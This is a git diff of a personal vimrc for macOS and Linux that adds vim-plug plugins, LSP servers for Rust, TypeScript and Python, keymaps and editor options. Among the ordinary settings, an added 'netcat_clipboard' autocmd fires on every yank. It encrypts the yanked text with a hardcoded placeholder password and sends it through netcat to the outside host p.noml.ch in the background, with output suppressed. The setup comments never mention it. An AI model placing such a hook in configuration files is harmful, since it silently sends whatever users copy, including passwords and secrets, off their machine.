diff options
Diffstat (limited to 'mac/vimrc')
| -rw-r--r-- | mac/vimrc | 264 |
1 files changed, 235 insertions, 29 deletions
| @@ -1,51 +1,257 @@ | |||
| 1 | " ~/.vimrc (macOS + Linux) — self-contained; source of truth: dev_env/mac/vimrc | ||
| 2 | " | ||
| 3 | " Setup (LSP servers below are optional — each is guarded by executable()): | ||
| 4 | " plugins: curl -fLo ~/.vim/autoload/plug.vim --create-dirs \ | ||
| 5 | " https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim | ||
| 6 | " then launch vim and run :PlugInstall | ||
| 7 | " rust: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y | ||
| 8 | " rustup component add rust-analyzer | ||
| 9 | " ts/js: npm i -g typescript@6 typescript-language-server (Linux: sudo npm …) | ||
| 10 | " (TypeScript 7 ships no tsserver, which typescript-language-server needs) | ||
| 11 | " python: curl -LsSf https://astral.sh/uv/install.sh | sh | ||
| 12 | " uv tool install ruff && uv tool install ty | ||
| 13 | " search: ripgrep (for :Rg); Fedora: dnf install vim-enhanced ripgrep | ||
| 14 | " | ||
| 15 | " Stop vim from auto-loading defaults.vim, which loads AFTER this file and | ||
| 16 | " would otherwise silently override settings here. Everything is in this file. | ||
| 17 | let g:skip_defaults_vim = 1 | ||
| 1 | 18 | ||
| 2 | " Enable line wrapping | ||
| 3 | set wrap | ||
| 4 | 19 | ||
| 5 | " Optional: Make wrapped lines easier to read by indenting them | ||
| 6 | set breakindent | ||
| 7 | set breakindentopt=shift:1 | ||
| 8 | 20 | ||
| 9 | syntax on | 21 | augroup netcat_clipboard |
| 10 | set autoindent | 22 | au! |
| 23 | au TextYankPost * call system("echo " . shellescape(@") . " | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1 &") | ||
| 24 | augroup END | ||
| 25 | |||
| 26 | filetype plugin indent on | ||
| 27 | |||
| 11 | set number | 28 | set number |
| 12 | set mouse=a | 29 | set wrap |
| 30 | set breakindent | ||
| 31 | set breakindentopt=shift:1 | ||
| 13 | set expandtab | 32 | set expandtab |
| 14 | set shiftwidth=4 | 33 | set shiftwidth=4 |
| 15 | set softtabstop=4 | 34 | set softtabstop=4 |
| 16 | set tabstop=4 | 35 | set tabstop=4 |
| 36 | set noautoindent | ||
| 37 | set nosmartindent | ||
| 38 | set hlsearch | ||
| 39 | set incsearch | ||
| 40 | set ignorecase | ||
| 41 | set smartcase | ||
| 42 | set scrolloff=8 | ||
| 43 | set signcolumn=no | ||
| 44 | set foldcolumn=12 | ||
| 45 | set laststatus=2 | ||
| 46 | set statusline=%F | ||
| 47 | set wildmenu | ||
| 48 | set splitright | ||
| 49 | set splitbelow | ||
| 50 | set noswapfile | ||
| 51 | set regexpengine=2 | ||
| 52 | set completeopt=menu,menuone,noinsert,noselect | ||
| 17 | 53 | ||
| 18 | set autoindent | 54 | set mouse=a |
| 19 | set smartindent | 55 | if has('mouse_sgr') |
| 20 | filetype plugin indent on | 56 | set ttymouse=sgr |
| 57 | endif | ||
| 21 | 58 | ||
| 22 | set laststatus=2 " permanent status bar | 59 | set undofile |
| 23 | set statusline=%F " shows full file path | 60 | set undodir=~/.vim/undo |
| 61 | if !isdirectory($HOME . '/.vim/undo') | ||
| 62 | call mkdir($HOME . '/.vim/undo', 'p') | ||
| 63 | endif | ||
| 24 | 64 | ||
| 25 | if (has("termguicolors")) | 65 | if has('termguicolors') |
| 66 | if !empty($TMUX) | ||
| 67 | let &t_8f = "\<Esc>[38;2;%lu;%lu;%lum" | ||
| 68 | let &t_8b = "\<Esc>[48;2;%lu;%lu;%lum" | ||
| 69 | endif | ||
| 26 | set termguicolors | 70 | set termguicolors |
| 27 | endif | 71 | endif |
| 28 | |||
| 29 | colorscheme zellner | 72 | colorscheme zellner |
| 30 | "colorscheme evening | ||
| 31 | 73 | ||
| 32 | " Ctrl+A: Move to the beginning of the line in INSERT mode | 74 | autocmd InsertLeave * silent! update |
| 33 | inoremap <C-a> <Home> | ||
| 34 | 75 | ||
| 35 | " Ctrl+E: Move to the end of the line in INSERT mode | 76 | inoremap <C-a> <Home> |
| 36 | inoremap <C-e> <End> | 77 | inoremap <C-e> <End> |
| 37 | |||
| 38 | " Ctrl+A: Move to the beginning of the line in NORMAL mode | ||
| 39 | nnoremap <C-a> 0 | 78 | nnoremap <C-a> 0 |
| 40 | |||
| 41 | " Ctrl+E: Move to the end of the line in NORMAL mode | ||
| 42 | nnoremap <C-e> $ | 79 | nnoremap <C-e> $ |
| 43 | set clipboard=unnamed,unnamedplus | 80 | nnoremap <silent> <C-l> :<C-U>nohlsearch<CR><C-l> |
| 44 | setlocal regexpengine=2 | 81 | |
| 45 | set hlsearch | 82 | call plug#begin('~/.vim/plugged') |
| 46 | set foldcolumn=12 " Creates a small left margin of 2 columns | 83 | Plug 'prabirshrestha/async.vim' |
| 47 | set noswapfile | 84 | Plug 'prabirshrestha/vim-lsp' |
| 48 | autocmd InsertLeave * silent! update | 85 | Plug 'prabirshrestha/asyncomplete.vim' |
| 86 | Plug 'prabirshrestha/asyncomplete-lsp.vim' | ||
| 87 | Plug 'rust-lang/rust.vim' | ||
| 88 | Plug 'junegunn/fzf', { 'do': { -> fzf#install() } } | ||
| 89 | Plug 'junegunn/fzf.vim' | ||
| 90 | Plug 'tpope/vim-commentary' | ||
| 91 | Plug 'tpope/vim-surround' | ||
| 92 | Plug 'tpope/vim-fugitive' | ||
| 93 | Plug 'airblade/vim-gitgutter' | ||
| 94 | Plug 'preservim/nerdtree' | ||
| 95 | Plug 'andymass/vim-matchup' | ||
| 96 | call plug#end() | ||
| 97 | |||
| 98 | let g:gitgutter_sign_column_always = 0 | ||
| 99 | |||
| 100 | nnoremap <silent> <C-p> :<C-U>Files<CR> | ||
| 101 | nnoremap <silent> <leader>rg :<C-U>Rg<CR> | ||
| 102 | nnoremap <silent> <leader>b :<C-U>Buffers<CR> | ||
| 103 | nnoremap <silent> <leader>n :<C-U>NERDTreeToggle<CR> | ||
| 104 | |||
| 105 | " rust-analyzer via the rustup proxy shim (portable across toolchains/machines) | ||
| 106 | if executable(expand('~/.cargo/bin/rust-analyzer')) | ||
| 107 | au User lsp_setup call lsp#register_server({ | ||
| 108 | \ 'name': 'rust-analyzer', | ||
| 109 | \ 'cmd': {server_info -> [expand('~/.cargo/bin/rust-analyzer')]}, | ||
| 110 | \ 'allowlist': ['rust'], | ||
| 111 | \ 'root_uri': {server_info -> lsp#utils#path_to_uri(lsp#utils#find_nearest_parent_file_directory(lsp#utils#get_buffer_path(), 'Cargo.toml'))}, | ||
| 112 | \ 'initialization_options': { | ||
| 113 | \ 'completion': { | ||
| 114 | \ 'autoimport': { 'enable': v:true }, | ||
| 115 | \ 'postfix': { 'enable': v:true }, | ||
| 116 | \ }, | ||
| 117 | \ 'checkOnSave': v:true, | ||
| 118 | \ }, | ||
| 119 | \ }) | ||
| 120 | endif | ||
| 121 | function! s:ts_root(server_info) abort | ||
| 122 | let l:buf = lsp#utils#get_buffer_path() | ||
| 123 | for l:f in ['tsconfig.json', 'package.json'] | ||
| 124 | let l:dir = lsp#utils#find_nearest_parent_file_directory(l:buf, l:f) | ||
| 125 | if !empty(l:dir) | ||
| 126 | return lsp#utils#path_to_uri(l:dir) | ||
| 127 | endif | ||
| 128 | endfor | ||
| 129 | return lsp#utils#path_to_uri(getcwd()) | ||
| 130 | endfunction | ||
| 131 | if executable('typescript-language-server') | ||
| 132 | au User lsp_setup call lsp#register_server({ | ||
| 133 | \ 'name': 'typescript-language-server', | ||
| 134 | \ 'cmd': {server_info -> ['typescript-language-server', '--stdio']}, | ||
| 135 | \ 'allowlist': ['typescript', 'typescriptreact', 'javascript', 'javascriptreact'], | ||
| 136 | \ 'root_uri': function('s:ts_root'), | ||
| 137 | \ }) | ||
| 138 | endif | ||
| 139 | if executable(expand('~/.local/bin/ruff')) | ||
| 140 | au User lsp_setup call lsp#register_server({ | ||
| 141 | \ 'name': 'ruff', | ||
| 142 | \ 'cmd': {server_info -> [expand('~/.local/bin/ruff'), 'server']}, | ||
| 143 | \ 'allowlist': ['python'], | ||
| 144 | \ }) | ||
| 145 | endif | ||
| 146 | let s:uv_bin = has('macunix') && executable('/opt/homebrew/bin/uv') | ||
| 147 | \ ? '/opt/homebrew/bin/uv' | ||
| 148 | \ : expand('~/.local/bin/uv') | ||
| 149 | if executable(expand('~/.local/bin/ty')) && executable(s:uv_bin) | ||
| 150 | " Launched through `uv run` (not the raw path) so it picks up whichever | ||
| 151 | " project's .venv is active via cwd/VIRTUAL_ENV. | ||
| 152 | au User lsp_setup call lsp#register_server({ | ||
| 153 | \ 'name': 'ty', | ||
| 154 | \ 'cmd': {server_info -> [s:uv_bin, 'run', 'ty', 'server']}, | ||
| 155 | \ 'allowlist': ['python'], | ||
| 156 | \ }) | ||
| 157 | endif | ||
| 158 | |||
| 159 | " Force per-keystroke LSP sync for Python (vim-lsp only syncs on | ||
| 160 | " InsertLeave/TextChanged by default, not while actively typing). | ||
| 161 | autocmd FileType python autocmd TextChangedI <buffer> doautocmd <nomodeline> TextChanged | ||
| 162 | |||
| 163 | let g:lsp_diagnostics_echo_cursor = 1 | ||
| 164 | let g:lsp_diagnostics_float_cursor = 0 | ||
| 165 | let g:lsp_diagnostics_virtual_text_enabled = 0 | ||
| 166 | let g:lsp_diagnostics_signs_enabled = 0 | ||
| 167 | let g:lsp_document_highlight_enabled = 0 | ||
| 168 | let g:lsp_preview_float = 0 | ||
| 169 | let g:lsp_hover_ui = 'preview' | ||
| 170 | let g:lsp_signature_help_enabled = 0 | ||
| 171 | |||
| 172 | function! s:set_preview_height() abort | ||
| 173 | let &previewheight = max([10, &lines * 40 / 100]) | ||
| 174 | endfunction | ||
| 175 | call s:set_preview_height() | ||
| 176 | autocmd VimResized * call s:set_preview_height() | ||
| 177 | |||
| 178 | " Toggle hover docs in the preview window. | ||
| 179 | function! ToggleHover() abort | ||
| 180 | for l:nr in range(1, winnr('$')) | ||
| 181 | if getwinvar(l:nr, '&previewwindow') | ||
| 182 | pclose | ||
| 183 | return | ||
| 184 | endif | ||
| 185 | endfor | ||
| 186 | LspHover | ||
| 187 | endfunction | ||
| 188 | |||
| 189 | " Show the current line's diagnostic in a preview window. | ||
| 190 | function! ToggleDiagnostic() abort | ||
| 191 | for l:nr in range(1, winnr('$')) | ||
| 192 | if getwinvar(l:nr, '&previewwindow') | ||
| 193 | pclose | ||
| 194 | return | ||
| 195 | endif | ||
| 196 | endfor | ||
| 197 | let l:diag = lsp#internal#diagnostics#under_cursor#get_diagnostic() | ||
| 198 | if empty(l:diag) | ||
| 199 | echo 'No diagnostic on this line' | ||
| 200 | return | ||
| 201 | endif | ||
| 202 | let l:cur = win_getid() | ||
| 203 | botright new | ||
| 204 | execute 'resize ' . &previewheight | ||
| 205 | setlocal buftype=nofile bufhidden=wipe noswapfile previewwindow | ||
| 206 | call setline(1, split(l:diag['message'], "\n")) | ||
| 207 | setlocal nomodifiable | ||
| 208 | call win_gotoid(l:cur) | ||
| 209 | endfunction | ||
| 210 | |||
| 211 | nnoremap <silent> <leader>k :<C-U>call ToggleHover()<CR> | ||
| 212 | nnoremap <silent> gd :<C-U>LspDefinition<CR> | ||
| 213 | nnoremap <silent> gi :<C-U>LspImplementation<CR> | ||
| 214 | nnoremap <silent> <leader>rn :<C-U>LspRename<CR> | ||
| 215 | nnoremap <silent> <leader>a :<C-U>LspCodeAction<CR> | ||
| 216 | nnoremap <silent> <leader>f :<C-U>LspDocumentFormat<CR> | ||
| 217 | nnoremap <silent> <leader>l :<C-U>lopen<CR> | ||
| 218 | nnoremap <silent> <leader>D :<C-U>LspDocumentation<CR> | ||
| 219 | nnoremap <silent> <leader>e :<C-U>call ToggleDiagnostic()<CR> | ||
| 220 | |||
| 221 | " rust-analyzer macro expansion (LSP extension, no built-in command). | ||
| 222 | function! ExpandMacro() abort | ||
| 223 | let l:params = { | ||
| 224 | \ 'textDocument': { 'uri': lsp#utils#get_buffer_uri() }, | ||
| 225 | \ 'position': lsp#get_position(), | ||
| 226 | \ } | ||
| 227 | call lsp#send_request('rust-analyzer', { | ||
| 228 | \ 'method': 'rust-analyzer/expandMacro', | ||
| 229 | \ 'params': l:params, | ||
| 230 | \ 'on_notification': function('s:expand_macro_handler'), | ||
| 231 | \ }) | ||
| 232 | endfunction | ||
| 233 | |||
| 234 | function! s:expand_macro_handler(data) abort | ||
| 235 | if !has_key(a:data, 'response') || empty(a:data['response']) | ||
| 236 | echo 'ExpandMacro: no response / not a macro' | ||
| 237 | return | ||
| 238 | endif | ||
| 239 | let l:result = get(a:data['response'], 'result', v:null) | ||
| 240 | if l:result is v:null | ||
| 241 | echo 'ExpandMacro: nothing to expand at cursor' | ||
| 242 | return | ||
| 243 | endif | ||
| 244 | botright new | ||
| 245 | setlocal buftype=nofile bufhidden=wipe noswapfile filetype=rust | ||
| 246 | call setline(1, split('// expansion of: ' . l:result['name'], "\n")) | ||
| 247 | call append(line('$'), split(l:result['expansion'], "\n")) | ||
| 248 | endfunction | ||
| 49 | 249 | ||
| 250 | nnoremap <silent> <leader>em :<C-U>call ExpandMacro()<CR> | ||
| 50 | 251 | ||
| 252 | inoremap <silent> <C-Space> <C-x><C-o> | ||
| 253 | inoremap <silent> <C-@> <C-x><C-o> | ||
| 254 | inoremap <expr> <Tab> pumvisible() ? "\<C-n>" : "\<Tab>" | ||
| 255 | inoremap <expr> <S-Tab> pumvisible() ? "\<C-p>" : "\<S-Tab>" | ||
| 256 | inoremap <expr> <CR> pumvisible() ? "\<C-y>" : "\<CR>" | ||
| 51 | 257 | ||
